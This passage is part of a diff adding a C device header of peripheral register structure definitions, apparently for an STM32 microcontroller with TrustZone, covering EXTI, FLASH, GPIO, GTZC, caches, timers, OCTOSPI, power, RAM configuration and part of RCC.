__IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1; /*!< Reserved 1, Address offset: 0x1C */ + __IO uint32_t RTSR2; /*!< EXTI Rising Trigger Selection Register 2, Address offset: 0x20 */ + __IO uint32_t FTSR2; /*!< EXTI Falling Trigger Selection Register 2, Address offset: 0x24 */ + __IO uint32_t SWIER2; /*!< EXTI Software Interrupt event Register 2, Address offset: 0x28 */ + __IO uint32_t RPR2; /*!< EXTI Rising Pending Register 2, Address offset: 0x2C */ + __IO uint32_t FPR2; /*!< EXTI Falling Pending Register 2, Address offset: 0x30 */ + __IO uint32_t SECCFGR2; /*!< EXTI Security Configuration Register 2, Address offset: 0x34 */ + __IO uint32_t PRIVCFGR2; /*!< EXTI Privilege Configuration Register 2, Address offset: 0x38 */ + uint32_t RESERVED2[9]; /*!< Reserved 2, 0x3C-- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED3[3]; /*!< Reserved 3, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ + uint32_t RESERVED4[2]; /*!< Reserved 4, 0x88 -- 0x8C */ + __IO uint32_t IMR2; /*!< EXTI Interrupt Mask Register 2, Address offset: 0x90 */ + __IO uint32_t EMR2; /*!< EXTI Event Mask Register 2, Address offset: 0x94 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x04 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x08 */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x0C */ + __IO uint32_t NSOBKKEYR; /*!< FLASH non-secure option bytes keys key register, Address offset: 0x10 */ + __IO uint32_t SECOBKKEYR; /*!< FLASH secure option bytes keys key register, Address offset: 0x14 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x18 */ + __IO uint32_t OPTCR; /*!< Flash Option Control Register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t NSCCR; /*!< FLASH non-secure clear control register, Address offset: 0x30 */ + __IO uint32_t SECCCR; /*!< FLASH secure clear control register, Address offset: 0x34 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x38 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0x3C */ + __IO uint32_t NSOBKCFGR; /*!< FLASH non-secure option byte key configuration register, Address offset: 0x40 */ + __IO uint32_t SECOBKCFGR; /*!< FLASH secure option byte key configuration register, Address offset: 0x44 */ + __IO uint32_t HDPEXTR; /*!< FLASH HDP extension register, Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x4C */ + __IO uint32_t OPTSR_CUR; /*!< FLASH option status current register, Address offset: 0x50 */ + __IO uint32_t OPTSR_PRG; /*!< FLASH option status to program register, Address offset: 0x54 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x58-0x5C */ + __IO uint32_t NSEPOCHR_CUR; /*!< FLASH non-secure epoch current register, Address offset: 0x60 */ + __IO uint32_t NSEPOCHR_PRG; /*!< FLASH non-secure epoch to program register, Address offset: 0x64 */ + __IO uint32_t SECEPOCHR_CUR; /*!< FLASH secure epoch current register, Address offset: 0x68 */ + __IO uint32_t SECEPOCHR_PRG; /*!< FLASH secure epoch to program register, Address offset: 0x6C */ + __IO uint32_t OPTSR2_CUR; /*!< FLASH option status current register 2, Address offset: 0x70 */ + __IO uint32_t OPTSR2_PRG; /*!< FLASH option status to program register 2, Address offset: 0x74 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x78-0x7C */ + __IO uint32_t NSBOOTR_CUR; /*!< FLASH non-secure unique boot entry current register, Address offset: 0x80 */ + __IO uint32_t NSBOOTR_PRG; /*!< FLASH non-secure unique boot entry to program register, Address offset: 0x84 */ + __IO uint32_t SECBOOTR_CUR; /*!< FLASH secure unique boot entry current register, Address offset: 0x88 */ + __IO uint32_t SECBOOTR_PRG; /*!< FLASH secure unique boot entry to program register, Address offset: 0x8C */ + __IO uint32_t OTPBLR_CUR; /*!< FLASH OTP block lock current register, Address offset: 0x90 */ + __IO uint32_t OTPBLR_PRG; /*!< FLASH OTP block Lock to program register, Address offset: 0x94 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x98-0x9C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0xA0 */ + uint32_t RESERVED6[7]; /*!< Reserved6, Address offset: 0xA4-0xBF */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xC0 */ + uint32_t RESERVED7[7]; /*!< Reserved7, Address offset: 0xC4-0xDC */ + __IO uint32_t SECWM1R_CUR; /*!< FLASH secure watermark 1 current register, Address offset: 0xE0 */ + __IO uint32_t SECWM1R_PRG; /*!< FLASH secure watermark 1 to program register, Address offset: 0xE4 */ + __IO uint32_t WRP1R_CUR; /*!< FLASH write sector group protection current register for bank1, Address offset: 0xE8 */ + __IO uint32_t WRP1R_PRG; /*!< FLASH write sector group protection to program register for bank1, Address offset: 0xEC */ + __IO uint32_t EDATA1R_CUR; /*!< FLASH data sectors configuration current register for bank1, Address offset: 0xF0 */ + __IO uint32_t EDATA1R_PRG; /*!< FLASH data sectors configuration to program register for bank1, Address offset: 0xF4 */ + __IO uint32_t HDP1R_CUR; /*!< FLASH HDP configuration current register for bank1, Address offset: 0xF8 */ + __IO uint32_t HDP1R_PRG; /*!< FLASH HDP configuration to program register for bank1, Address offset: 0xFC */ + __IO uint32_t ECCCORR; /*!< FLASH ECC correction register, Address offset: 0x100 */ + __IO uint32_t ECCDETR; /*!< FLASH ECC detection register, Address offset: 0x104 */ + __IO uint32_t ECCDR; /*!< FLASH ECC data register, Address offset: 0x108 */ + uint32_t RESERVED8[37]; /*!< Reserved8, Address offset: 0x10C-0x19C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0x1A0 */ + uint32_t RESERVED9[7]; /*!< Reserved9, Address offset: 0x1A4-0x1BF */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0x1C0 */ + uint32_t RESERVED10[7]; /*!< Reserved10, Address offset: 0x1C4-0x1DC */ + __IO uint32_t SECWM2R_CUR; /*!< FLASH secure watermark 2 current register, Address offset: 0x1E0 */ + __IO uint32_t SECWM2R_PRG; /*!< FLASH secure watermark 2 to program register, Address offset: 0x1E4 */ + __IO uint32_t WRP2R_CUR; /*!< FLASH write sector group protection current register for bank2, Address offset: 0x1E8 */ + __IO uint32_t WRP2R_PRG; /*!< FLASH write sector group protection to program register for bank2, Address offset: 0x1EC */ + __IO uint32_t EDATA2R_CUR; /*!< FLASH data sectors configuration current register for bank2, Address offset: 0x1F0 */ + __IO uint32_t EDATA2R_PRG; /*!< FLASH data sectors configuration to program register for bank2, Address offset: 0x1F4 */ + __IO uint32_t HDP2R_CUR; /*!< FLASH HDP configuration current register for bank2, Address offset: 0x1F8 */ + __IO uint32_t HDP2R_PRG; /*!< FLASH HDP configuration to program register for bank2, Address offset: 0x1FC */ +} FLASH_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + __IO uint32_t MPCWM3BCFGR; /*!< TZSC memory 3 sub-region B watermark configuration register, Address offset: 0x68 */ + __IO uint32_t MPCWM3BR; /*!< TZSC memory 3 sub-region B watermark register, Address offset: 0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + __IO uint32_t MPCWM4BCFGR; /*!< TZSC memory 4 sub-region B watermark configuration register, Address offset: 0x78 */ + __IO uint32_t MPCWM4BR; /*!< TZSC memory 4 sub-region B watermark register, Address offset: 0x7c */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x17C */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x1FC */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< OCTOSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< OCTOSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< OCTOSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< OCTOSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< OCTOSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< OCTOSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< OCTOSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< OCTOSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< OCTOSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< OCTOSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< OCTOSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< OCTOSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< OCTOSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< OCTOSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< OCTOSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< OCTOSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< OCTOSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< OCTOSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< OCTOSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< OCTOSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< OCTOSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< OCTOSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< OCTOSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< OCTOSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< OCTOSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< OCTOSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< OCTOSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t PMCR; /*!< Power mode control register , Address offset: 0x00 */ + __IO uint32_t PMSR; /*!< Power mode status register , Address offset: 0x04 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x08-0x0C */ + __IO uint32_t VOSCR; /*!< Voltage scaling control register , Address offset: 0x10 */ + __IO uint32_t VOSSR; /*!< Voltage sacling status register , Address offset: 0x14 */ + uint32_t RESERVED2[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t BDCR; /*!< BacKup domain control register , Address offset: 0x20 */ + __IO uint32_t DBPCR; /*!< DBP control register, Address offset: 0x24 */ + __IO uint32_t BDSR; /*!< BacKup domain status register, Address offset: 0x28 */ + __IO uint32_t UCPDR; /*!< Usb typeC and Power Delivery Register, Address offset: 0x2C */ + __IO uint32_t SCCR; /*!< Supply configuration control register, Address offset: 0x30 */ + __IO uint32_t VMCR; /*!< Voltage Monitor Control Register, Address offset: 0x34 */ + __IO uint32_t USBSCR; /*!< USB Supply Control Register Address offset: 0x38 */ + __IO uint32_t VMSR; /*!< Status Register Voltage Monitoring, Address offset: 0x3C */ + __IO uint32_t WUSCR; /*!< WakeUP status clear register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< WakeUP status Register, Address offset: 0x44 */ + __IO uint32_t WUCR; /*!< WakeUP configuration register, Address offset: 0x48 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x4C */ + __IO uint32_t IORETR; /*!< IO RETention Register, Address offset: 0x50 */ + uint32_t RESERVED4[43];/*!< Reserved, Address offset: 0x54-0xFC */ + __IO uint32_t SECCFGR; /*!< Security configuration register, Address offset: 0x100 */ + __IO uint32_t PRIVCFGR; /*!< Privilege configuration register, Address offset: 0x104 */ +}PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + __IO uint32_t WPR3; /*!< SRAM Write Protection Register 3, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved, Address offset: 0x04 */ + __IO uint32_t HSICFGR; /*!< RCC HSI Clock Calibration Register, Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register, Address offset: 0x14 */ + __IO uint32_t CSICFGR; /*!< RCC CSI Clock Calibration Register, Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< RCC PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< RCC PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< RCC PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< RCC PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< RCC PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< RCC PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< RCC PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< RCC PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< RCC PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< RCC Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< RCC Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< RCC Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< RCC AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR; /*!< RCC AHB2 Peripherals Reset Register Address offset: 0x64 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0x68 */ + __IO uint32_t AHB4RSTR; /*!< RCC AHB4 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1LRSTR; /*!< RCC APB1 Peripherals reset Low Word register Address offset: 0x74 */ + __IO uint32_t APB1HRSTR; /*!< RCC APB1 Peripherals reset High Word register Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< RCC APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< RCC APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED10; /*!< Reserved Address offset: 0x84 */ 